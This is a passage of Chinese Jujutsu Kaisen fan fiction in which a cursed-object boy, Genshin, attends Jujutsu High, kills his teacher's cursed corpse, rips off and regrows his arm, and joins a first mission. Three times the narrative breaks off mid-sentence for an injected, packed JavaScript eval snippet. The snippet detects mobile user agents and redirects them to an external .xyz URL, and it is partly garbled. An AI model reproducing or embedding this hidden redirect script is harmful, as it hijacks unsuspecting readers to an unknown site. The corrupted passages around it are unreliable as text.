教室窗边 家入硝子：“你们看出来什么了？” 夏油杰：“他刚刚在看什么？我的意思是，他之前好像没有这么仔细地观察过一个人。” “确实，他之前似乎很在乎一些奇怪的礼仪规矩，五条？” 半晌没有回答。 眼看源信和夜蛾正道已经靠近教室门外，家入硝子和夏油杰疑惑地转过身去看鼻子上还好好架着墨镜的五条悟：“悟？” “他的眼睛只有正常人的视力。” 五条悟的大拇指轻轻抵住下嘴唇，沉吟了一会：“他刚才好像是在看……夜蛾身上的咒骸？” 如果他没记错的话，咒物狱门疆的六面都有眼睛，那么源信的能力几乎百分百是和他自己的眼睛有关的，但为什么露出来的这双眼睛没有任何异样？ 还是他们忽略了什么？五条悟的目光移到源信额头上从见面就没摘下过的发带上。 ——似乎是比他更加糟糕的失败品。 跟在夜蛾正道身后，源信盯着他身上咒力最浓郁的一处这样想着。 连独立行动和说话都做不到，也没有人类外表的失败品，但却在被这个咒术师珍视着。 “……！” 前面人的突然停下让源信惊了一下，下意识抬头：“怎么……” “注意脚下。” 夜蛾正道微微侧过头告诉他，似乎只是简单的提示他，表情严肃郑重：“这条路即便被许多人走过还是有些不平坦。今天是你来高专的第一节课，不要心急。” 没头没尾的话让源信有些疑惑，只得先颔首应下：“是，老师。” 烦躁。 不能对长辈动手，不可以在外人面前做出失礼的事情。 源信攥了攥拳头，终于想到办法暂且压下了自己心中不断升腾的恶意。 等会找个机会试试吧。 9. 开门 五条悟和夏油杰不是那种有什么事情都会好好跟班主任报告的好学生，家入硝子更不会多此一举。 他们告诉夜蛾正道关于源信的事情，完全是为了让他想办法限制一下源信。 “他的身上还有那个关于封印的术式哦，和资料上的一模一样，连发动条件都没有变化，老子的六眼看见了。”五条悟如是说。 这样一个一旦进入限制范围就会不知不觉中招的危险术式，足够让夜蛾正道重视起来。 更不用说这个新学生还自带霸体，打又打不动，骂又听不懂。 莫名其妙上了学生们的贼船的夜蛾正道：“……” 研究了一晚上如何限制狱门疆的术式，夜蛾正道发现目前的他们还真对这个孩子束手无策，五条悟的态度暧昧，夏油杰和家入硝子却已经摆明了希望这个已经成为人类的咒物少年能够留在高专。 在源信身上看见了咒术的另一种可能的夜蛾正道也想。 一.大早起来准备好关于源信的各项身份证明又被校长叫去谈话，导致夜蛾正道不小心也来迟了，刚巧就遇到了第一天上课就迟到的狱门疆。 “老师好。” 很有礼貌的一个少年。 夜蛾正道对于源信的第一印象出乎意外的好，他印象中已经很久没有遇到这样有礼貌的学生了。 少年背后黑色的长发松松散散地扎着，刘海有点长但他却很小心地没有让发丝挡住自己的视线，而是温顺地撇在耳后，露出他白皙却带着怪异不平整的突起的双颊。 身上是合身的休闲装，夜蛾正道扫一眼就想起校长刚才给他的那一身看起来很普通的校服。 “这是大人们为新同学准备好的校服，夜蛾你带给那孩子吧。” 是很普通的校服，没有任何特殊的设计，和五条悟身上穿的别无二致，但正常来说，入学高专的新生都可以自己要求对校服进行更改，夏油杰的裤子就是他特别要求的。 看起来总监部也有人知道些什么。 夜蛾正道不假思索地将这个消息隐瞒了下来，没有打算告诉几个学生的意思。 无论如何，和那些大人有关的事情还不是他们能插手的。 紧接着他身上带着的咒骸就表达出了对于源信的恐惧，即便藏在他的衣服内侧也在不断瑟缩着，向主人汇报着来自源信的敌意。 源信也不知道这种陌生的情绪是什么，但他略微思考过后就猜测到自己似乎是在产生一种名为妒忌的情绪。 很常见的一种负面情绪，几乎他见过的所有咒灵身上都有，似乎在不经意间感染到了他的身上，以至于他对陌生的事物产生了这样的情绪。 源信歪了歪头，这似乎是一件好事。 人类的情绪是多样的，即便是他也很难学习，这样潜移默化地习得一点简直帮了大忙了。 对咒灵好感度+10 高专这两天来了很多人，走了一批又留下了一批，人数的增加让他的心情很好。 跟着五条悟夏油杰是没错的，这里看起来有了群居的雏形。 直到现在，夜蛾正道的出现才让他的心情有些变差。 一二三四五六，这个男人的身上带了六个不是人类也不是咒灵的东西，看起来和他有些像，但又不全是。 他讨厌同类。 他讨厌不是人也不是咒灵的东西。 ——这种清晰又没头没尾的指向不会是源信自己的情绪，他意识到自己除了情绪之外又被某些其他的东西影响到了。 烦躁。 模仿人类的进度一日千里的源信似乎，像是一个真正的人类一样开始向往自由了。 所以当夜蛾正道要求他站起来向大家展示一下自己的术式的时候，他直言：“请给我一个你身上的那个……那个生命。” 所有人一愣。 吧咒骸称作是生命实在是一种很奇特的说法，但夜蛾正道显然很喜欢这样的称呼，眉头微微舒展，甚至连嘴角也隐隐约约有些笑意：“那是我做的咒骸。你是想要和它们对战吗？” 源信一愣：“它们？” 夜蛾正道解释：“我的术式是傀儡操术，可以操纵我自己制作出的咒骸来战斗。” 原来如此，源信拧了拧眉点头表示自己明白了。 不是人类，也不是他的同类，是普通的无思想的人造物吗？ 那就没有存在的意义了吧。 或许是因为五条悟和夏油杰对他还有所忌惮，源信猜测自己昨天的行为可能给他们留下了一些危险的印象，又或者是那个叫作家入硝子的少女比起他们来说威胁性实在是小很多，源信的位置是在两位DK的中间。 左右为男呢。 这样子想做些什么实在是有些麻烦。 在两个DK手上受挫一次的源信站起身绕过桌椅，径直走到了三位同学的前面：“是，拜托了，夜蛾老师，请给我一个你做的咒骸吧。” ？ 五条悟夏油杰对视一眼，源信可是说了他不会打架的。 没有人介意源信奇怪的话语，所有人都以为这只是他的表达能力还有限，无法正确地使用词句来表达自己。 加了敬语的话实在是让人警惕不起来。 源信不动声色地走到讲台边的空处，看着夜蛾正道从身后掏出一只咒骸揉了揉放在地上，那只长相怪异的紫色咒骸立刻像是被赋予了生命一般蹦蹦跳跳地向他走来，还生动地鞠了一躬。 真讨厌呢，看起来比他还有生命力的样子。 奇怪的情绪又翻涌起来，源信的眼睛微微眯起，脸颊上似乎有什么东西在翕动。 细细簌簌。 有什么东西似乎在他脸颊两侧的皮肤下方鼓动、顶出。 坐在他身后的五条悟脸色突然一变，而他旁边的家入硝子似乎还在发呆，夏油杰看起来也没有反应过来发生了什么。 夜蛾正道第一次直面了来自非人生物的恶意。 和无数充溢着负面情绪的咒灵日夜相处，源信和普通的咒术师最大的区别就是咒力的使用方式。 大脑会源源不断地产生咒力，但人类的负面情绪是有限的，产生的咒力在爆发的同时也需要被收敛，否则很快就会被消耗殆尽。 但源信不一样。 没有正常人类的情感，他连一个人独自坐在那里都能够突然模拟名为“愤怒”的情绪，咒力的产生和停止对于他来说只不过一念之间，不用收敛也不用汇聚，阴冷的咒力在咒骸出现的瞬间就悄然蔓延开来。 为什么会这样？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15362971|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>五条悟的额头冒出些许冷汗，为什么就连他也没有注意到源信什么时候动手的？ 属于源信的咒力很快攀上了咒骸的腿部，夏油杰和家入硝子这才后知后觉地发现了不对劲，夏油杰唰地一下站起身：“源信，停下！” 没有人回应他。 狱门疆的能力只是封锁，但在实验室的时候，源信衍生出了另一种能力—— 时停。 在被拉去洗脑的时候将自己的大脑时停，源信几乎每一天都能获得这样一个训练自己新能力的机会。 咒物化作的人体没有生长的可能，不出意外他从今以后都会保持十几岁的少年模样，这也意味着他无法通过训练获得肉.体反射能力，也不会从一次次的催眠中对那种东西产生抗性。 源信只能逼迫自己衍生出新能力来保护自己的身体。 而就在刚刚，还无法真正掌控时间和空间力量的他，只能将教室内的时间停顿了大约0.3秒，就在这一瞬间他的咒力已经来到了毫无防备的咒骸脚下。 或者说，毫无防备的是其实是夜蛾正道。 夏油杰的反应迅速，但坐在原处一动不动的五条悟似乎在告诉他：别费力了，来不及了。 源信的反应速度是超乎他们所有人想象的，就如同那个研究人员所说，他比起人类更像是野兽。 咒力迅速包裹住开始疯狂挣扎的咒骸，尖锐的噪音从它的口中发出，夜蛾正道一口不妙，连忙出声呵斥：“源信，你要做什么？！” “……开。” 比资料上更加简短的咒令，咒物本人发动术式似乎连说话都是多余的，这个字的作用似乎只是在回应来自夜蛾正道的质问。 一直被所有人留意的、留在黑发少年两边脸侧的怪异突起疯狂鼓动着，在这时候终于露出了它们的真面目，深红色的眼珠一颗颗顶开了少年的皮肤，仿佛都拥有自己的意识一般兴奋地上上下下张望，最后…… 锁定了眼前动弹不得的咒骸。 “嚯，” 五条悟愣了愣，轻声惊叹，“还真是了不得的大场面呢。” 夜蛾正道和已经来到源信身旁的夏油杰都愣住了，夏油杰脑子里面很快闪现出关于特级咒物狱门疆的资料—— “半径四米之内，停留1分钟。” 教室内的空间不算大，更不必说源信到讲台的距离！ 从他起身走到讲台前开始，和夜蛾正道的对话就是这家伙在故意拖延时间！ 大脑还没有反应过来，但夏油杰的身体已经先一步动了，快速地退到了四米开外的位置。 这家伙，真的是人类吗…… 夏油杰咬紧了牙关，和所有人一样，沉默地看着源信身上深红色的咒力奔腾着将疯狂挣扎着的咒骸包裹住，没一会就看不见它的四肢和头颅，只留下一颗深红色的球形咒力体。 再然后，一切都消失了，什么都没留下。 “………………” 站在他们所有人中间的源信倒是看起来很平静，刚才的术式使用似乎对他没有任何的消耗，他只是面露惊奇地摸了摸自己的胸口： “哦，进去之后轻轻一用力就死掉了呢。” 不可以对老师做出失礼的事情这种事，到底是谁的规定啊？ 10. 断臂 就在咒骸被源信封锁的一瞬间，夜蛾正道感受到自己和咒骸的联系被一股不可抗力截断了。 毫无道理的规则。 被狱门疆封锁的物体会忘却时间和空间的存在，保持进去那一刻的状态，直到被放出。 而作为这个异空间的主人，源信对于它有着完全的控制力，简单的空间压缩致使进去的生物被杀死，这是很简单的事情。 “夜蛾老师，就是这样。” 黑发少年面无表情地对着夜蛾正道点了点头：“这就是我的术式，如果需要我再演示一次的话，请再给我一个…咒骸。” “……” 三个高专生膛目结舌。 原本还不确定，但源信话一出，他们基本上已经可以确认他是明摆着冲着夜蛾正道制作的咒骸去的了。 不过，为什么？ 夏油杰顾不得和源信保持距离了，上前一把抓住他的肩膀：“源信，你到底在做什么啊？！” 拜托，这家伙的非人感为什么总是在出乎他们所有人预料的时候出现啊！ 源信皱眉：“抱歉？” 他是做错了什么吗？战斗中杀死对方不是很正常的事情吗？他甚至没有杀死一个人类，只不过是一只没有独立思想的咒骸而已。 就连他也不过是工具而已，区区咒骸，没必要因为这个和他生气吧？ 夏油杰哑然。 夜蛾正道：“……好了，我们先开始上课吧。” 损失了一只咒骸夜蛾正道的心情实在是有些糟糕，但源信的情况比他预料中的还要麻烦是他没有想到的。 源信是一个，不仅仅学习能力迅速，甚至已经具有了自己独特的世界观，现在看起来还对自己的术式和咒力操纵方式格外熟悉的危险体。 完完全全无法被掌控的存在。 夜蛾正道觉得自己或许理解制造出源信的人为什么愿意将他放出来了。 “源信，过来拿走你的校服和课本，今天下午和悟他们一起去完成一个任务，熟悉一下流程吧。” 看着黑发少年乖巧地应下照做，夜蛾正道心情沉重地打开了课本。 把这样的存在放到普通社会里，那个人到底想要做什么…… * 源信没有意识到自己又一次被排斥了。 或者说，他从来没有意识到自己在被周围的存在排斥，毕竟他现在有更多重要的事情要做。 身体在变化。 表面上看起来在认真听讲的黑发少年实际上在用身上的眼睛探勘着身体里的状况。 心脏、脾脏、胃袋……全部都是最标准的大小。 不出意外的话，掏出来会和医学课上用的这个年龄段的塑料人体模型一模一样。 是完全被设置好的大小和状态。 但是源信感受得到身体的血液和更深处有着不太一样的东西，有人似乎对它们做了什么不太好的事情。 下课后，源信求助了五条悟关于这件事。 “你说你的身体里面有奇怪的东西？”五条悟有些诧异。 刚准备离开的家入硝子也好奇地转过头来，她和夏油杰惊讶的点都是源信居然会主动和五条悟搭话。 毕竟在他们看来，到目前为止源信在高专做的事情都算不上是善意的。 无论是试图把五条悟封锁起来还是直接杀死了夜蛾正道的咒骸，源信的意图基本上都带有一些超乎常理的莽撞。 “是的，拜托了。” 奇异的礼貌用语说出口后，源信走近两步，五条悟下意识用上了无下限，下一秒却被源信的动作惊住了。 “刺啦——” 源信动作迅速地将左臂的袖子扯了下来，以迅雷不及掩耳之势在所有人反应过来前握住了自己的小臂狠狠一扭—— “喂！” “源信！你在做什么！” 家入硝子转头跑向了医务室。 这是今天夏油杰第二次发出这样的惊呼声了，他感觉自己似乎因为家入硝子的话而对于源信太过包容了，如果由着这家伙胡来的话几乎可以想象他以后的日子简直是五条悟拌源信，乱成一团。 被他们一直怀疑有着某种破坏性的咒物少年迄今为止的一次暴力袭击确是对着自己。 咒物无法被他人破坏，但源信想要让自己受点伤并不难。 不，错了，这不是伤害自己，这是为了以后能够更好地保护自己的身体才做的必要的牺牲。 心中的烦躁和不安不断加剧，源信光是忍受这样源自体内的铺天盖地的负面压力就已经开始烦躁不安，他的咒力就这样不断地开始充溢在教室里。 五条悟和夏油杰：“……” 哈、哈哈，咒骸之后居然就是他们了吗？ 可恶，所以刚才的自断一臂只是为了让他们放低警惕吗？ 家入硝子的动作很快，一来一回她已经拎过来了一只小型医疗箱，扶额看了眼这复杂的情势：“源信，要不要我先给你包扎一下？血一直在流哦。” 这种事情他当然知道。 源信对她摇了摇头，继续低头问坐在眼前的五条悟：“怎么样，看出什么了吗？” 看出……到底要看出什么啊！ 五条悟莫名其妙：“哈？你好像刚刚就在自说自话吧？到底要老子看什么啊？” 源信默然。 他没有忘记五条悟说他的身上是没有束缚的，那那个博士到底给他的身体里面留下了什么东西？药物控制难道能做到这个地步吗？那他到底要怎么才能脱离这样的约束？ 未知的东西实在是太多，源信又忍不住开始焦躁：“有东西……有东西在里面……！” 被扭断的小臂随手被他扔开，掉到地面后又嘭地一声迅速化为一团咒力散开，他开始神经质地去抠挖自己断开的手臂截面。 “里面有……奇怪的东西，有人放进去了，我……在被控制。” “在被控制？”五条悟瞪大了眼睛，上半身前倾握住源信的已经被染成鲜红色的右手，若有所思地凑近观察。 夏油杰&家入硝子：“……” 好可怕的一幕。 夏油杰低头看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15362972|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看像是河流一般已经快要没过他的小腿的溢出的咒力，终于忍无可忍地上去把这两个家伙分开了：“你们等等再讨论这个问题！源信，你的手臂要怎么办？还能重新长出来吗？” 源信一愣，低头一看似乎也才发现自己扔下的那一截小臂不见了：“嗯……也许？” 好一个也许。 夏油杰听到这样的回答简直一个头两个大，源信却表现得很平静。 【咒物无法被破坏】这是某种咒术界公开的原则，无论他身体的一部分以什么样的形式损坏，最终在这个原则的影响下都会不科学地自我恢复成原本的模样，这是早就被制定好的、和上天的某种约定。 而正如他所想，当他尝试着将咒力汇聚到自己的左手上，光洁的皮肤很快长了出来，甚至和上半截手臂都没有一丝色差，完整得好像原本就是一体的存在。 如果忽略地上那滩还没干涸的血液的话。 终于取到满意样品的家入硝子心情愉悦地将一部分血液收集起来：“唔，有点杂质，但应该还能用，谢了，信君。” 信君。 源信转过身严肃半鞠躬：“不用客气，硝子桑。” 又是这样割裂的感觉。 明明已经在胡作非为了，却总是对所有人都很尊敬的模样，对于敬称的使用方式也过于熟练，以至于他们每次听到源信郑重其事的回应总是会有些汗毛倒竖。 简直就像野狐狸突然走到门口开口道贺一样。 五条悟拒绝了家入硝子递来的酒精湿巾，手甩了甩就将被无下限隔开的血迹甩到了地上：“就是普通的血嘛……什么叫你在被控制呢，阿信？” ……阿信？ 这个新称呼使得夏油杰和家入硝子递来微妙的眼神。 五条悟对源信实在是太感兴趣了，先是想办法把他弄进高专，又在长时间的观察后终于摸到了一点和源信相处的窍门，正如他所猜测的，源信显然对于这样亲密的称呼很满意。 是很亲近的昵称，是友善的信号，源信欣然接收：“实验室的人留下的，我的一些行为……在被控制。” 三人脸色一变。 他们都知道源信是人造物，也知道他就是在那个废弃的实验室进行了许多不被允许的试验，但谁也没有想到对所有伤害都免疫的源信居然直言自己还在被控制着。 被谁控制？已经距离这么远了要怎么控制？ 源信在大多数时候意外地好说话，对于他们的问题如实回答：“被‘博士’，我会有很多……很奇怪的倾向，比如想要保护自己。” 源信还不会撒谎，他只是避重就轻，选了一个最安全的开口。 夏油杰一愣：“保护自己？不对吗？” 源信摇了摇头：“我苏醒之后第一眼看到的是倒影中的自己，所以我才想要保护自己，如果当时眼前的是其他人，我依旧会拼尽权力去保护他。” 三人倒吸一口凉气。 这一秒，他们三人满脑子只有一个想法—— 到底是哪个大聪明想到要给一个咒物照镜子的？？？ 11.工贼 和源信相处的每一分每一秒都在给三个纯人类带来冲击。 但是源信当然没有在意他们的想法。 事实上，他也没能猜到他们的想法就是了。 下午的任务时间如期而至，跟着五条悟三人吃完午饭后，他回宿舍换好了新校服，甚至还在出门时和高年级的冥冥碰了面。 又是一个白发，难道这个女生和五条悟一样会拥有比较特殊的能力吗？ 但是今天已经受伤了一次，源信不愿意再次和高专的人起冲突了，友好的交流才是他达成目的的出发点。 所以他歪了歪头：“那个，可以给我吗？” 刚赚了外快回来就见到了新同学的冥冥：嗯？ * “源信还没来吗？” 夏油杰对于新同学的容忍度块达到极限了，各方面都是。 但是五条悟显然还没有：“没有哦~阿信还没来呢~看起来是个迟到大王呢。” 夏油杰有些忍无可忍：“悟，你们的关系有亲密到那种地步吗？即便是为了哄骗他也差不多可以了，那家伙不会跟着我们太久的。” 源信不会在高专停留很久，这是他们的猜测。 明明表现得正常，但说到底这家伙就是在试图将自己伪装成人类，伪装的伎俩还特别拙劣。 这家伙，或许自己都不知道自己在寻找什么。 比起他好好地呆在高专和他们一起学习，夏油杰更愿意相信源信会在哪次任务过程中突然和咒灵双宿双飞，眨眼就把他们抛在脑后。 无论如何，无法理解人类情感的就是怪物！ …… 另一边，被夏油杰称作“怪物”的某人：“原来如此，谢谢你，冥冥同学。” 第一次的尝试尚且笨拙，第二次已经无比熟练的源信很快在脑后为自己编了一个堪称完美的辫子。 所以男孩子为什么要留这么长的头发？ 内心吐槽，表面淡定的冥冥微笑：“谢谢惠顾，这一周的任务酬劳记得转给我。” 源信怔了怔点了点头：“好的。” 没听懂什么意思，但是应该不重要。 一周而已，他最多三天就可以得到自己想要的东西再离开了。 源信对她点了点头很快向高专大门走去。 “阿信！这里这里！” 夏油杰一阵恶寒，他身旁的五条悟却在看见源信的下一秒宛如娇羞少女一般跳起来对源信挥手示意着，源信不明所以但还是加快了步伐。 “抱歉，我来晚了。” 两个DK很快注意到了他身上细微的变化，五条悟上前两步上下打量：“哦哦，不错嘛，这样看起来很时尚的样子，是跟谁学的吗？” 源信回答他：“是冥冥同学。” 虽然心中不想和他走近，但夏油杰还是忍不住在这个时候开口纠正他：“不是同学，你应该叫她学姐。” 源信似懂非懂地点头，夏油杰看他这样就气不打一处来。 五条悟看起来似乎还想对他的新发型发表什么看法，但站在他们身后等待许久的陌生的辅助监督已经等不及了，上前打开了车门将三位高专生强行推进了车里：“时间不早了，你们先上车再说！” “喂喂，你这家伙轻点…！” 源信一闪身避开了陌生人的触碰，弯腰观测了一下车内狭小的空间，露出了一个微妙的表情。 好小……有四米吗？ 好令人安心的狭小空间，是一个他的术式完全可以覆盖的范围，源信轻松地坐在了副驾驶位置上，任由两个比他高出大半个头的DK挤进后座。 辅助监督开始为他们讲解这次的任务目标，源信大概听了听就开始神游了。 在这时候动手似乎是不错的选择，他不会杀死任何人，他只是想要一个新的能力而已，但是现在动手真的合适吗？ 源信回忆了一下，自己似乎还没有见到过这群咒术师攻击咒灵的手段，这次任务或许是一次好机会让他观察五条悟和夏油杰祓除咒灵的方式，再加以衍生出自己的攻击方式。 光是他的术式这样的单一的攻击方式实在是太容易被伤害了。 实际上血条无敌厚的某信：隐忍！ 任务没有很复杂，唯一的麻烦是地点在一个老旧商场的大型地下车库，虽然已经事先清场但还是有许多车辆停在这里，辅助监督让放下帐之后就叮嘱他们：“请小心一些，如果可以，请尽量不要损伤这些车辆和承重柱体。” 现在还是白天，车库大门口已经摆好禁止入内的牌子，只要动静小一点的话上面的人根本不会察觉到地下车库的异样。 五条悟和夏油杰摆摆手就进去了，源信也很快跟上。 又是陌生的环境。 因为已经被废弃的缘故，空荡荡的地下停车场此时空无一人，左右两边是零零散散的几辆车子，看样子它们的主人已经至少有一个月没有驾驶过它们了。 夏油杰听到源信逐渐靠近的脚步声，礼貌性回头问了他一下：“源信，这是你第一次出任务，需要出手试试吗？” 不出他所料的，源信摇了摇头：“不用了，你们请吧。” 夏油杰点点头，一个健步跟上前面已经找到咒灵所处位置的五条悟，迅速召唤出咒灵就跟了上去。 “喂，杰，这家伙好像只有二级，你要吗？” 源信闻言抬头看向停车场角落的咒灵。 看起来似乎是一.大摊汽油黏着物一样，看不见眼珠和口器的位置，倒是不断发出咿咿呀呀的噪音，似乎想要往墙上攀爬，但却一直没办法成功。 源信看了一眼就移开了目光。 确实很弱，跟他当初在实验室遇到的差不多，智力大概也只是刚刚能和他交流的程度。 原来如此，夏油杰操纵的咒灵不是他自己产生的，而是需要额外收服的吗？ 一直眼馋夏油杰术式的源信有些遗憾。 这样看来，或许他封锁的最佳对象还是五条悟，那样无论是六眼还是无下限都是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15379197|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的选择。 夏油杰倒是没有直接拒绝：“先看看它的术式是什么吧。” 话说到这里，他已经放弃使用咒灵，两个人全靠体术就冲上前去，源信的目光也顺着他们的动作开始移动。 无论是五条悟和夏油杰，体术都不算弱，但在源信的眼中，他们的每一次挥拳和飞踢都被化作了准确的数据和样本，被他一一记录。 源信：免费经验包，我吃吃吃！ 五条悟和夏油杰毫无所觉，两人左右开弓很快将咒灵从角落驱逐了出来，紧接着就是毫无顾忌的攻击，但他们的余光却留在不远处的一动不动的源信身上…… 等会，源信人呢？！ 夏油杰错愕回头，一不小心差点被咒灵的咒力弹击中，但他顾不得这些，慌张地四处查看源信的位置。 “悟！等会，源信他不见了！！” 半空劈叉的五条悟：“啊？” 源信会出逃是情理之中，夜蛾正道叫他们第一天就带着源信出任务未必没有给源信一个出逃机会的意思。 毕竟是总监部塞进来的烫手山芋，能第一时间把他丢出去是最好不过了。 ——但是再怎么样！人也不能是在市区丢的啊！！！！ 夏油杰此刻的内心极度崩溃！ 他们等会还有一个去郊区的任务，等赶过去天都黑了，源信他都忍了两天了，就不能忍到再那个时候吗！怎么这会就这么偷偷藏不住了！ 原地失踪的源信听到声音也是：？ 这个夏油杰怎么老是那么聒噪？ 五条悟总算抽出空来看了一眼，也没好气地扭头喊了回去：“他不就在你后面！喂！源信！你干什么呢！” “你们，离远一点。” “哈？？！” 源信一只手抓住一个车前盖，抬手就将两辆小轿车前轮抬了起来，就这么拖着它们往更后方走去：“你们小心一点，任务要求不能伤到车子。” 五条悟&夏油杰：……？ 守在门外的辅助监督：啊？ 你一个临时工怎么还干得这么起劲啊摔！ 路过咒灵的时候，不知道是不是被源信的行为刺激到了，原本还粘嗒嗒被打成一滩烂泥的咒灵突然冒出一张嘴：“工贼、工贼，禁止——内卷嘎———” 源信“轰”一声放下一辆车，紧接着不知道从哪卸下来一只备胎，直挺挺地将它暴力塞进了咒灵的嘴里，确定它不会再发出声音后，扭过头对五条悟和夏油杰点了点头：“解决了，请你们快一点。” 看着那颗被死死嵌进水泥地面的报废轮胎和扣都扣不出来的咒灵，五条悟和夏油杰再次：“…………” 五条悟面色凝重：“杰。” 夏油杰头上还挂着冷汗，闻言下意识扭头看他：“什么？” “阿信确实是一个，很好的人啊。” 夏油杰沉默片刻：“啊……” 看出来了，能够坚持一天没把他们的头拧下来当球踢，已经很厉害了。 12.诡计 虽然咒术界这个体系实在是很骗钱（？），但是总监部的钱也不是大风刮来的，每次看到辅助监督送来的两个DK的任务报销单子还是会肉痛。 五条悟&夏油杰：：） 源信的脑回路就不一样了。 成功将有可能被波及到的车辆都移开，源信环视了一圈，思考了很久之后终于放弃了。 虽然家具很多，但是品种单一还没什么用。 虽然地方很大，但是卫生条件不过关还没有密闭大门。 总结，这个车库，不太适合作为他的栖息地。 夏油杰忧心忡忡地看着被源信拖到角落又一个接一个叠在一起的车辆，拿胳膊肘捅了捅旁边蹲在地上试图把轮胎从水泥地里抠出来的五条悟：“我们是不是得另外先对他进行……学前教育？” 好令人窒息的操作。 每当夏油杰已经接受源信是个人类的事实，总有新的状况出现打破他的认知。 五条悟：“嗯？杰你要当他妈妈吗？可恶啊，这家伙到底什么怪力，那么轻轻一丢大半个轮胎就都进去了…这种漏气的破轮胎居然也能成为武器吗？！” 夏油杰：“……” 这样的战斗力，真的还有必要跟他们学习什么体术吗？光是拿肉.体冲击就能把对面攮死吧？ 夏油杰觉得对某咒物的品德教育势在必行。 把汽车一个接一个叠好后，源信看了一圈空荡荡的地下车库，点了点头满意地踩着车头一阶一阶地走了上去。 是收纳大师和他的家具.zip呢。（欣慰） 一屁股坐在最上面，源信低下头看着下面两个行为怪异的高专生，疑惑地歪了歪头：“夏油杰，那个咒灵你不需要吗？” 蹲下去开始抠咒灵的夏油杰：你到底在说谁举止怪异啊！！ 就你最没资格说这句话！！！ 没有人回答他的问题，源信索性坐在高处开始发呆，直到夏油杰一脸憔悴地招招手叫他下去。 “阿信！走了。” 这个称呼对于源信真是很有管制力，夏油杰看着嘴角微微翘起的黑发少年蹦蹦跳跳地从高处下来，心中的郁气也随之消散。 ……算了，他只是一个什么都不懂的新人类而已。 才怪。 关于放走源信这件事，不只是高专生们的默认，夜蛾正道也默许了。 “毋庸置疑，他的出现是总监部某位大人的手笔，被我们接手也许只是一个巧合，目前没有命令要求我们强制收管这个特级，防止更糟糕的消息出现之前，他的去留可以由你们选择。” “毕竟，他是被你们带回来的。” 只是多留一个特级咒物少年而已，夜蛾正道对这件事没有异议，但是关乎到总监部，他总是不希望自己的两个学生牵扯太深。 五条悟一点也不意外夜蛾正道的想法，倒是夏油杰格外拧巴。 “目前真的没有办法将他重新变成咒物吗？” 长了腿的咒物和不能动的咒物区别实在是太大了，夏油杰认为这就是个定时炸弹。 但夜蛾正道的回答出乎他们的预料：“目前做不到的，因为狱门疆……源信现在的状况，如果我没有猜错的话，他应该只是【狱门疆·表】。” 他们还是第一次听到这种说法，五条悟下意识问：“表……？他还有什么？里？” “是的。”夜蛾正道点了点头，告诉了他们总监部送来的资料上根本没有提到的一条信息，“被关进狱门疆的人是无法从‘门’出来的，必须找到对应的出口，也就是‘里’。” “所以现在的源信……应该是不完整的狱门疆。” 沉默。 五条悟和夏油杰万万没想到破坏狱门疆的术式会这么困难，而即便如此，变成人一月有余的狱门疆，也就是如今的源信，已经强得有些离谱，如果他找到了【狱门疆·里】又会是什么状态？ 五条悟思索片刻，摇摇头否认了他们的担忧：“他没有想要找什么东西，他比起寻找明显更注重观察人类，也许……他根本不知道自己是不完整的。” 比起寻找更注重观察人类吗？夜蛾正道愣住了。 夏油杰沉吟片刻：“那【狱门疆·里】现在在什么地方？” 夜蛾正道摇了摇头：“不知道。” “不知道？” “是的，两个狱门疆都已经失踪很久了，没人知道他们过去的几百年在哪里，现在又是从哪里冒出来的。” 高专的校长最近几年越发年迈昏庸了，校内的事情几乎都是夜蛾正道在负责，他也因此知道了一些特殊的消息。 “前来送封印狱门疆的盒子的那个辅助监督告诉我，”夜蛾正道沉声道，“总监部的库房最深处有一个一模一样的盒子，但是似乎已经被使用了。” 五条悟和夏油杰了然。 怪不得夜蛾正道的态度一直这么强硬，就目前的情况看来，基本上可以确认总监部是故意将源信放出来的，就像完成什么试验一样。 但是，完成什么？ 夏油杰回忆着源信对于人类意味不明的善意（？），和对咒灵的奇怪态度，一时也不明白总监部的那些人要做什么。 目前看起来，源信是不会主动伤害人类的，或者说，他似乎继承了自己的术式特性，脑子里面对于给他带来危险感知的生命也只有“封锁住，让它静止不动”这样的思维。 但夜蛾正道不这么认为。 “也许是我多虑了，也许……事实就是那样？” 夜蛾正道犹豫的声音让两个高专生都奇怪地抬起头。 作为他们的班主任，夜蛾正道几乎没有用过这样不确定的语气和他们说过话。 “那天，见到他的时候，我的咒骸感觉到了他的恶意，但是似乎，源信当时不是简单地想要恶作剧而杀死他。” 回忆起源信第一次出现在教室的场景，五条悟和夏油杰也陷入了沉默。 确实很诡异。 对于他们的所有行为和冒犯都保持了沉默的源信第一次主动出击，当着他们所有人的面将老师的咒骸杀死了，完全不符合他们所有人对于源信的了解。 